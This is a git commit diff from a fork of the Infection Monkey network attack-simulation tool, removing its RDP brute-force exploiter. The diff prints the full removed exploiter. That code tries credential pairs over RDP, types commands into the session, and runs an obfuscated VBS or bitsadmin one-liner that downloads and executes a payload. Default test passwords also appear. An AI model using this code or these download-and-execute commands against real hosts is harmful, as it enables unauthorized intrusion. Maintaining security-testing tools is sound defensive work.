forked from p15670423/monkey
Merge pull request #409 from guardicore/feature/remove_rdp_grinder
Feature/remove rdp grinder
This commit is contained in:
commit
489a6e8ebb
|
@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
|||
* Multiple exploit methods:
|
||||
* SSH
|
||||
* SMB
|
||||
* RDP
|
||||
* WMI
|
||||
* Shellshock
|
||||
* Conficker
|
||||
|
|
|
@ -62,7 +62,6 @@
|
|||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
|
@ -79,9 +78,6 @@
|
|||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
|
|
|
@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
<td>2}p}aR]&=M</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Scan results:</td>
|
||||
<td>Machine exploited using RDP grinder</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Server’s config:</td>
|
||||
<td><p>Remote desktop enabled</p>
|
||||
<p>Admin user’s credentials:</p>
|
||||
<p>m0nk3y, 2}p}aR]&=M</p></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<tr class="odd">
|
||||
<td></td>
|
||||
<td></td>
|
||||
</tr>
|
||||
|
@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Server’s config:</td>
|
||||
<td><p>Has cashed mimikatz-15 RDP credentials</p>
|
||||
<td><p>Has cached mimikatz-15 RDP credentials</p>
|
||||
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
|
|
|
@ -216,9 +216,6 @@ class Configuration(object):
|
|||
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||
remote_user_pass = "Password1!"
|
||||
|
||||
# rdp exploiter
|
||||
rdp_use_vbs_download = True
|
||||
|
||||
# User and password dictionaries for exploits.
|
||||
|
||||
def get_exploit_user_password_pairs(self):
|
||||
|
|
|
@ -63,7 +63,6 @@
|
|||
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||
"remote_user_pass": "Password1!",
|
||||
"ping_scan_timeout": 10000,
|
||||
"rdp_use_vbs_download": true,
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey",
|
||||
"retry_failed_explotation": true,
|
||||
|
|
|
@ -80,7 +80,6 @@ class HostExploiter(object):
|
|||
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||
from infection_monkey.exploit.smbexec import SmbExploiter
|
||||
from infection_monkey.exploit.rdpgrinder import RdpExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.exploit.shellshock import ShellShockExploiter
|
||||
from infection_monkey.exploit.sambacry import SambaCryExploiter
|
||||
|
|
|
@ -8,7 +8,7 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
|
@ -38,7 +38,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||
exploit_config['dropper'] = True
|
||||
exploit_config['url_extensions'] = ['_search?pretty']
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
|
||||
return exploit_config
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
|
|
|
@ -1,346 +0,0 @@
|
|||
import os.path
|
||||
import threading
|
||||
import time
|
||||
from logging import getLogger
|
||||
|
||||
import rdpy.core.log as rdpy_log
|
||||
import twisted.python.log
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from infection_monkey.utils import utf_to_ascii
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
KEYS_INTERVAL = 0.1
|
||||
MAX_WAIT_FOR_UPDATE = 120
|
||||
KEYS_SENDER_SLEEP = 0.01
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
RDP_PORT = 3389
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
||||
def twisted_log_func(*message, **kw):
|
||||
if kw.get('isError'):
|
||||
error_msg = 'Unknown'
|
||||
if 'failure' in kw:
|
||||
error_msg = kw['failure'].getErrorMessage()
|
||||
LOG.error("Error from twisted library: %s" % (error_msg,))
|
||||
else:
|
||||
LOG.debug("Message from twisted library: %s" % (str(message),))
|
||||
|
||||
|
||||
def rdpy_log_func(message):
|
||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||
|
||||
|
||||
twisted.python.log.msg = twisted_log_func
|
||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||
rdpy_log.log = rdpy_log_func
|
||||
|
||||
# thread for twisted reactor, create once.
|
||||
global g_reactor
|
||||
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
||||
|
||||
|
||||
class ScanCodeEvent(object):
|
||||
def __init__(self, code, is_pressed=False, is_special=False):
|
||||
self.code = code
|
||||
self.is_pressed = is_pressed
|
||||
self.is_special = is_special
|
||||
|
||||
|
||||
class CharEvent(object):
|
||||
def __init__(self, char, is_pressed=False):
|
||||
self.char = char
|
||||
self.is_pressed = is_pressed
|
||||
|
||||
|
||||
class SleepEvent(object):
|
||||
def __init__(self, interval):
|
||||
self.interval = interval
|
||||
|
||||
|
||||
class WaitUpdateEvent(object):
|
||||
def __init__(self, updates=1):
|
||||
self.updates = updates
|
||||
pass
|
||||
|
||||
|
||||
def str_to_keys(orig_str):
|
||||
result = []
|
||||
for c in orig_str:
|
||||
result.append(CharEvent(c, True))
|
||||
result.append(CharEvent(c, False))
|
||||
result.append(WaitUpdateEvent())
|
||||
return result
|
||||
|
||||
|
||||
class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||
def __init__(self, controller, keys, width, height, addr):
|
||||
super(KeyPressRDPClient, self).__init__(controller)
|
||||
self._keys = keys
|
||||
self._addr = addr
|
||||
self._update_lock = threading.Lock()
|
||||
self._wait_update = False
|
||||
self._keys_thread = threading.Thread(target=self._keysSender)
|
||||
self._keys_thread.daemon = True
|
||||
self._width = width
|
||||
self._height = height
|
||||
self._last_update = 0
|
||||
self.closed = False
|
||||
self.success = False
|
||||
self._wait_for_update = None
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
update_time = time.time()
|
||||
self._update_lock.acquire()
|
||||
self._last_update = update_time
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
|
||||
def _keysSender(self):
|
||||
LOG.debug("Starting to send keystrokes")
|
||||
while True:
|
||||
|
||||
if self.closed:
|
||||
return
|
||||
|
||||
if len(self._keys) == 0:
|
||||
reactor.callFromThread(self._controller.close)
|
||||
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
||||
return
|
||||
|
||||
key = self._keys[0]
|
||||
|
||||
self._update_lock.acquire()
|
||||
time_diff = time.time() - self._last_update
|
||||
if type(key) is WaitUpdateEvent:
|
||||
self._wait_for_update = True
|
||||
self._update_lock.release()
|
||||
key.updates -= 1
|
||||
if key.updates == 0:
|
||||
self._keys = self._keys[1:]
|
||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
if type(key) is ScanCodeEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
||||
key.is_special)
|
||||
elif type(key) is CharEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||
elif type(key) is SleepEvent:
|
||||
time.sleep(key.interval)
|
||||
|
||||
self._keys = self._keys[1:]
|
||||
else:
|
||||
self._update_lock.release()
|
||||
time.sleep(KEYS_SENDER_SLEEP)
|
||||
|
||||
def onReady(self):
|
||||
time.sleep(1)
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
|
||||
time.sleep(1)
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
|
||||
time.sleep(1)
|
||||
pass
|
||||
|
||||
def onClose(self):
|
||||
self.success = len(self._keys) == 0
|
||||
self.closed = True
|
||||
|
||||
def onSessionReady(self):
|
||||
LOG.debug("Logged in, session is ready for work")
|
||||
self._last_update = time.time()
|
||||
self._keys_thread.start()
|
||||
|
||||
|
||||
class CMDClientFactory(rdp.ClientFactory):
|
||||
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._domain = domain
|
||||
self._keyboard_layout = "en"
|
||||
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
||||
self._keys = [SleepEvent(1),
|
||||
ScanCodeEvent(91, True, True),
|
||||
ScanCodeEvent(19, True),
|
||||
ScanCodeEvent(19, False),
|
||||
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
||||
self._optimized = optimized
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
||||
self._nego = True
|
||||
self._client = None
|
||||
self._width = width
|
||||
self._height = height
|
||||
self.done_event = threading.Event()
|
||||
self.success = False
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@summary: Build RFB observer
|
||||
We use a RDPClient as RDP observer
|
||||
@param controller: build factory and needed by observer
|
||||
@param addr: destination address
|
||||
@return: RDPClientQt
|
||||
"""
|
||||
|
||||
# create client observer
|
||||
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
||||
|
||||
controller.setUsername(self._username)
|
||||
controller.setPassword(self._password)
|
||||
controller.setDomain(self._domain)
|
||||
controller.setKeyboardLayout(self._keyboard_layout)
|
||||
controller.setHostname(addr.host)
|
||||
if self._optimized:
|
||||
controller.setPerformanceSession()
|
||||
controller.setSecurityLevel(self._security)
|
||||
|
||||
return self._client
|
||||
|
||||
def clientConnectionLost(self, connector, reason):
|
||||
# try reconnect with basic RDP security
|
||||
if reason.type == RDPSecurityNegoFail and self._nego:
|
||||
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
|
||||
(connector.host, connector.port))
|
||||
# stop nego
|
||||
self._nego = False
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
||||
connector.connect()
|
||||
return
|
||||
|
||||
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
||||
self.success = self._client.success
|
||||
self.done_event.set()
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
|
||||
(connector.host, connector.port, reason.getErrorMessage()))
|
||||
self.success = False
|
||||
self.done_event.set()
|
||||
|
||||
|
||||
class RdpExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'RDP'
|
||||
|
||||
def __init__(self, host):
|
||||
super(RdpExploiter, self).__init__(host)
|
||||
|
||||
def is_os_supported(self):
|
||||
if super(RdpExploiter, self).is_os_supported():
|
||||
return True
|
||||
|
||||
if not self.host.os.get('type'):
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
||||
if is_open:
|
||||
self.host.os['type'] = 'windows'
|
||||
return True
|
||||
return False
|
||||
|
||||
def _exploit_host(self):
|
||||
global g_reactor
|
||||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
||||
if not is_open:
|
||||
LOG.info("RDP port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
if self._config.rdp_use_vbs_download:
|
||||
command = RDP_CMDLINE_HTTP_VBS % {
|
||||
'monkey_path': self._config.dropper_target_path_win_32,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
else:
|
||||
command = RDP_CMDLINE_HTTP_BITS % {
|
||||
'monkey_path': self._config.dropper_target_path_win_32,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
|
||||
exploited = False
|
||||
for user, password in user_password_pairs:
|
||||
try:
|
||||
# run command using rdp.
|
||||
LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'",
|
||||
self.host, user, self._config.hash_sensitive_data(password))
|
||||
|
||||
LOG.info("RDP connected to %r", self.host)
|
||||
|
||||
user = utf_to_ascii(user)
|
||||
password = utf_to_ascii(password)
|
||||
command = utf_to_ascii(command)
|
||||
|
||||
client_factory = CMDClientFactory(user, password, "", command)
|
||||
|
||||
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
||||
|
||||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
if not self._config.rdp_use_vbs_download:
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
self.add_vuln_port(RDP_PORT)
|
||||
exploited = True
|
||||
self.report_login_attempt(True, user, password)
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
self.report_login_attempt(False, user, password)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password (SHA-512) '%s': (%s)", self.host,
|
||||
user, self._config.hash_sensitive_data(password), exc)
|
||||
continue
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
||||
return False
|
||||
elif http_thread.downloads == 0:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||
os.path.basename(src_path), self.host)
|
||||
self.add_executed_cmd(command)
|
||||
return True
|
|
@ -309,7 +309,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
resp = self.exploit(url, backup_command)
|
||||
return resp
|
||||
|
|
|
@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
|||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||
|
||||
# Commands used for downloading monkeys
|
||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
||||
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
|
|
|
@ -1,10 +1,7 @@
|
|||
enum34
|
||||
impacket
|
||||
pycryptodome
|
||||
pyasn1
|
||||
cffi
|
||||
twisted
|
||||
rdpy
|
||||
requests
|
||||
odict
|
||||
paramiko
|
||||
|
|
|
@ -1,10 +1,7 @@
|
|||
enum34
|
||||
impacket
|
||||
pycryptodome
|
||||
pyasn1
|
||||
cffi
|
||||
twisted
|
||||
rdpy
|
||||
requests
|
||||
odict
|
||||
paramiko
|
||||
|
|
|
@ -58,7 +58,6 @@ class AWSExporter(Exporter):
|
|||
'wmi_password': AWSExporter._handle_wmi_password_issue,
|
||||
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
|
||||
'ssh_key': AWSExporter._handle_ssh_key_issue,
|
||||
'rdp': AWSExporter._handle_rdp_issue,
|
||||
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
|
||||
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
|
||||
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
|
||||
|
@ -305,20 +304,6 @@ class AWSExporter(Exporter):
|
|||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_rdp_issue(issue, instance_arn):
|
||||
|
||||
return AWSExporter._build_generic_finding(
|
||||
severity=1,
|
||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||
issue['username']),
|
||||
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
|
||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
||||
instance_arn=instance_arn,
|
||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _handle_shared_passwords_domain_issue(issue, instance_arn):
|
||||
|
||||
|
|
|
@ -32,14 +32,6 @@ SCHEMA = {
|
|||
"title": "MSSQL Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"RdpExploiter"
|
||||
],
|
||||
"title": "RDP Exploiter (UNSAFE)",
|
||||
"attack_techniques": []
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
|
@ -791,19 +783,6 @@ SCHEMA = {
|
|||
}
|
||||
}
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"title": "RDP grinder",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"rdp_use_vbs_download": {
|
||||
"title": "Use VBS download",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
||||
" (true=VBS, false=BITS)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"sambacry": {
|
||||
"title": "SambaCry",
|
||||
"type": "object",
|
||||
|
|
|
@ -34,7 +34,6 @@ class ReportService:
|
|||
'SmbExploiter': 'SMB Exploiter',
|
||||
'WmiExploiter': 'WMI Exploiter',
|
||||
'SSHExploiter': 'SSH Exploiter',
|
||||
'RdpExploiter': 'RDP Exploiter',
|
||||
'SambaCryExploiter': 'SambaCry Exploiter',
|
||||
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
||||
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
||||
|
@ -287,12 +286,6 @@ class ReportService:
|
|||
processed_exploit['type'] = 'ssh'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_rdp_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||
processed_exploit['type'] = 'rdp'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_vsftpd_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||
|
@ -357,7 +350,6 @@ class ReportService:
|
|||
'SmbExploiter': ReportService.process_smb_exploit,
|
||||
'WmiExploiter': ReportService.process_wmi_exploit,
|
||||
'SSHExploiter': ReportService.process_ssh_exploit,
|
||||
'RdpExploiter': ReportService.process_rdp_exploit,
|
||||
'SambaCryExploiter': ReportService.process_sambacry_exploit,
|
||||
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
||||
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
||||
|
|
|
@ -665,22 +665,6 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateRdpIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password
|
||||
that is not shared with other computers on the network.
|
||||
<CollapsibleWellComponent>
|
||||
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||
className="label label-danger">RDP</span> attack.
|
||||
<br/>
|
||||
The Monkey authenticated over the RDP protocol with user <span
|
||||
className="label label-success">{issue.username}</span> and its password.
|
||||
</CollapsibleWellComponent>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
generateSambaCryIssue(issue) {
|
||||
return (
|
||||
|
@ -959,9 +943,6 @@ generateMSSQLIssue(issue) {
|
|||
case 'ssh_key':
|
||||
data = this.generateSshKeysIssue(issue);
|
||||
break;
|
||||
case 'rdp':
|
||||
data = this.generateRdpIssue(issue);
|
||||
break;
|
||||
case 'sambacry':
|
||||
data = this.generateSambaCryIssue(issue);
|
||||
break;
|
||||
|
|
Loading…
Reference in New Issue